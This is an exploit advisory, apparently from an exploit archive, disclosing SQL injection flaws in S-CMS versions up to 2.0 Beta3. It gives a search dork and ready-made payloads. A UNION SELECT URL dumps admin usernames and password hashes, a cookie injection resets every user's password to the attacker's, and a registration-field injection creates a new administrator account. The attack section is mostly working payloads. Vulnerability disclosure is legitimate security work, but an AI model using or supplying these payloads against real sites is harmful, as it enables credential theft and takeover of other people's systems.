MULTIPLE SQL INJECTION VULNERABILITIES --S-CMS <= v-2.0 Beta3-->

MULTIPLE SQL INJECTION VULNERABILITIES --S-CMS <= v-2.0 Beta3–>

CMS INFORMATION:

–>WEB: http://www.matteoiammarrone.com/public/s-cms/
–>DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/
–>DEMO: N/A
–>CATEGORY: CMS / Portal
–>DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins,
blocks and permission system.
–>RELEASED: 2009-05-25

CMS VULNERABILITY:

–>TESTED ON: firefox 3
–>DORK: "S-CMS by matteoiamma"
–>CATEGORY: SQL INJECTION/INSECURE COOKIE HANDLING (SQLi)/ADD NEW ADMIN (SQLi)
–>AFFECT VERSION: <= 2.0-Beta3
–>Discovered Bug date: 2009-05-25
–>Reported Bug date: 2009-05-25
–>Fixed bug date: 2009-05-28
–>Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3
–>Author: YEnH4ckEr
–>mail: y3nh4ck3r[at]gmail[dot]com
–>WEB/BLOG: N/A
–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

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SQL INJECTION (SQLi):

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PROOF OF CONCEPT:

<<<<---------++++++++++++++ Condition: magic quotes=OFF ++++++++++++++++±-------->>>>

<<<<---------++++++++++++++ Condition: {db_prefix} by default: cms ++++++++++++++++±-------->>>>

[++] GET var –> 'username'

[++] File vuln –> 'profile.php'

http://[HOST]/[PATH]/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,user(),3,version(),database(),user(),7,8,current_user(),10,11,version(),13,14,15,version(),17,version(),user(),20,21,22%23


[++[Return]++] ~~~~~> user or version in DB.


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EXPLOIT:
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~~~~~>
http://[HOST]/[PATH]/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,username,3,concat(username,0x3A3A3A,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+cms_users+WHERE+uid=1%23


[++[Return]++] ~~~~~> username:::password in '{db_prefix}_users' table



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INSECURE COOKIE HANDLING (SQLi):

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<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>

<<<<---------++++++++++++++ Condition: Be registered user +++++++++++++++++--------->>>>


Being other user we can change passwords of all users and set our password for them.


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EXPLOIT:
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Change 'username' cookie.


~~~~~> username=[your_real_user]' or 1=1%23 



[++[Return]++] ~~~~~> Set our password for all users.



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ADD NEW ADMIN (SQLi):

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<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>



Go to register page ~~~~~> http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=register


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EXPLOIT:
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Set username.


~~~~~> username=y3nh4ck3r',MD5('y3nh4ck3r'), '', '', '', '', 'offline', '[email protected]', '01.gif', '', '', '', '1',
'', '', 'ip', 'lang-english.php', 'lightstorm', '', 'admin', '0')/*



[++[Return]++] ~~~~~> Create new admin with username/password= y3nh4ck3r/y3nh4ck3r



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